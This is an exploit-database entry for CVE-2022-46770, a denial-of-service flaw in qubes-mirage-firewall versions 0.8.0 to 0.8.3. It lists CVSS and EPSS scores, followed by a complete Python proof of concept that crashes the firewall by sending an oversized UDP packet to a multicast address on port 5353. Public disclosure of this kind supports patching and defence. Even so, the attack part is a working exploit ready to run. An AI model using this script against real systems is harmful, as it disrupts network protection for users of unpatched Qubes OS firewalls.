qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS)

2023-03-3100:00:00

Krzysztof Burghardt

www.exploit-db.com

exploit

denial of service

qubes-mirage-firewall

cve-2022-46770

mirage.io

vulnerability

github

qubes os

poc

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.415 Medium

EPSS

Percentile

97.3%

JSON

# Exploit Title: qubes-mirage-firewall  v0.8.3 - Denial Of Service (DoS)
# Date: 2022-12-04
# Exploit Author: Krzysztof Burghardt <[email protected]>
# Vendor Homepage: https://mirage.io/blog/MSA03
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases
# Version: >= 0.8.0 & < 0.8.4
# Tested on: Qubes OS
# CVE: CVE-2022-46770

#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166

#!/usr/bin/env python3

from socket import socket, AF_INET, SOCK_DGRAM

TARGET = "239.255.255.250"

PORT = 5353

PAYLOAD = b'a' * 607

s = socket(AF_INET, SOCK_DGRAM)

s.sendto(PAYLOAD, (TARGET, PORT))